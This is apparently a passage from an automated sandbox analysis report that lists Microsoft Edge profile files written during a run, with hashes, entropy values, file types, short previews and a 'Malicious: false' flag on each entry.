SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\bd77028c-e908-41f2-a554-121464e62ffc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\bfa27979-ec6d-4a4b-86fb-fcd32b03130e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\fd061697-981d-4c3f-a361-853fb7e91857.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a722adf5-3646-4295-bc25-1f4c300ec0a8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17079), with no line terminators
Category:	dropped
Size (bytes):	17087
Entropy (8bit):	5.4824446617328535
Encrypted:	false
SSDEEP:	192:stSJ99QTryDigabatSuyplsCGyaNPlDrkq5kYBpP7ZKT6bPZPEHKyS8SbV+FFuQp:stSPGKSu4lsCGtJlDn5F4MFTbGUQwRM
MD5:	87DB197CA62FEE7FE57A0FB45FD3176B
SHA1:	CC7800BA6884F3CE33DA8B0B97CB2545C7B1613D
SHA-256:	3B60699CADA6317B4FB2999C001232971DDB99D6518F02EC725A543F638BE2CB
SHA-512:	2032DADEF9ED5C6E6FA720EBBD9091EC766FBD68164F22E2AF3D5C13EDB2806B274CA01E18EC5512565848DACBBE22D99BB7FDECF13C41EC71B07F4F2807FAB9
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375822664239234","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a83a0593-ef4b-48ef-8a0b-52b60ebfd1dc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.56128594378817
Encrypted:	false
SSDEEP:	768:gx1cuf7pLGLpQKWPg6fau8F1+UoAYDCx9Tuqh0VfUC9xbog/OVShDE0ksrwFJyib:gx1cuZcpQKWPg6fauu1jazhD/kFFJyf+
MD5:	5B0E2FD8680747EF68FC741B31B48F20
SHA1:	B07C89F530C6009A6ECACC6F1A02AE5F047BBAF5
SHA-256:	0C46FB0D758A7F0DAD44702A604D7AF8E2C1EE3E67B87506F10565F318532657
SHA-512:	C24E81266E05E62D1351C9C02ADB5E637AF2EB7AC39A45DD730F34537AB404A5F23DC0DD328DEF9CB49622343C15DC123C71ADC23C3A263D74C2A77ACB54FA6C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375822663556735","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375822663556735","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e7e27c0f-394e-4ca6-a8e6-0705e19f7a97.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25185
Entropy (8bit):	5.570932261970303
Encrypted:	false
SSDEEP:	768:gUXcEKWPg6f3u8F1+UoAYDCx9Tuqh0VfUC9xbog/OVtE0zsrwnpPtud:gUXcEKWPg6f3uu1jaK/zFVt+
MD5:	0C44070A5BC73AAD8E708C1441670D5C
SHA1:	D034EB9658289A5C227F54F8C82783B7A416E669
SHA-256:	DD79F46F7A0B92D26BC2C0278CD14C0B47A56D010E8D0E30841897FAC780950E
SHA-512:	8F86DE104104A8BFF75801187B11D3F597669A55F51D670699CD94972EF3FB519CB1EBF743655B038C0D0A76B6D82C58FFEDB3341CF23F4D3FEFB9FB6E57BE0E
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375822663556735","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375822663556735","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103076456432429
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynLPGWv/sxtwt7VLyMV/YoskFoz:z/0+zI7ynTv/4KdVeZoskG
MD5:	E4F38CDA2EC6D247D2C2166F5F9027BE
SHA1:	21483786D2F70B93265DE980A6CB06BB6C482BDC
SHA-256:	B4B8F37376B1093CCEFE52C79FCDB6C78B3C7435427F17215F0B04807A0664F1
SHA-512:	F98B2C10E5061751B39C42BC78273BCDB82870531A7F8C40C220E37C8B46607543AB91C3B19DD8EFED8C3D8F13630193434851FB3AD6AE38A94A4D8A4AFA3E1D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF223ca.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103076456432429
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynLPGWv/sxtwt7VLyMV/YoskFoz:z/0+zI7ynTv/4KdVeZoskG
MD5:	E4F38CDA2EC6D247D2C2166F5F9027BE
SHA1:	21483786D2F70B93265DE980A6CB06BB6C482BDC
SHA-256:	B4B8F37376B1093CCEFE52C79FCDB6C78B3C7435427F17215F0B04807A0664F1
SHA-512:	F98B2C10E5061751B39C42BC78273BCDB82870531A7F8C40C220E37C8B46607543AB91C3B19DD8EFED8C3D8F13630193434851FB3AD6AE38A94A4D8A4AFA3E1D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF223da.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103076456432429
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynLPGWv/sxtwt7VLyMV/YoskFoz:z/0+zI7ynTv/4KdVeZoskG
MD5:	E4F38CDA2EC6D247D2C2166F5F9027BE
SHA1:	21483786D2F70B93265DE980A6CB06BB6C482BDC
SHA-256:	B4B8F37376B1093CCEFE52C79FCDB6C78B3C7435427F17215F0B04807A0664F1
SHA-512:	F98B2C10E5061751B39C42BC78273BCDB82870531A7F8C40C220E37C8B46607543AB91C3B19DD8EFED8C3D8F13630193434851FB3AD6AE38A94A4D8A4AFA3E1D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF225dd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103076456432429
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynLPGWv/sxtwt7VLyMV/YoskFoz:z/0+zI7ynTv/4KdVeZoskG
MD5:	E4F38CDA2EC6D247D2C2166F5F9027BE
SHA1:	21483786D2F70B93265DE980A6CB06BB6C482BDC
SHA-256:	B4B8F37376B1093CCEFE52C79FCDB6C78B3C7435427F17215F0B04807A0664F1
SHA-512:	F98B2C10E5061751B39C42BC78273BCDB82870531A7F8C40C220E37C8B46607543AB91C3B19DD8EFED8C3D8F13630193434851FB3AD6AE38A94A4D8A4AFA3E1D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF24c61.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103076456432429
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynLPGWv/sxtwt7VLyMV/YoskFoz:z/0+zI7ynTv/4KdVeZoskG
MD5:	E4F38CDA2EC6D247D2C2166F5F9027BE
SHA1:	21483786D2F70B93265DE980A6CB06BB6C482BDC
SHA-256:	B4B8F37376B1093CCEFE52C79FCDB6C78B3C7435427F17215F0B04807A0664F1
SHA-512:	F98B2C10E5061751B39C42BC78273BCDB82870531A7F8C40C220E37C8B46607543AB91C3B19DD8EFED8C3D8F13630193434851FB3AD6AE38A94A4D8A4AFA3E1D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF279d9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103076456432429
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynLPGWv/sxtwt7VLyMV/YoskFoz:z/0+zI7ynTv/4KdVeZoskG
MD5:	E4F38CDA2EC6D247D2C2166F5F9027BE
SHA1:	21483786D2F70B93265DE980A6CB06BB6C482BDC
SHA-256:	B4B8F37376B1093CCEFE52C79FCDB6C78B3C7435427F17215F0B04807A0664F1
SHA-512:	F98B2C10E5061751B39C42BC78273BCDB82870531A7F8C40C220E37C8B46607543AB91C3B19DD8EFED8C3D8F13630193434851FB3AD6AE38A94A4D8A4AFA3E1D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

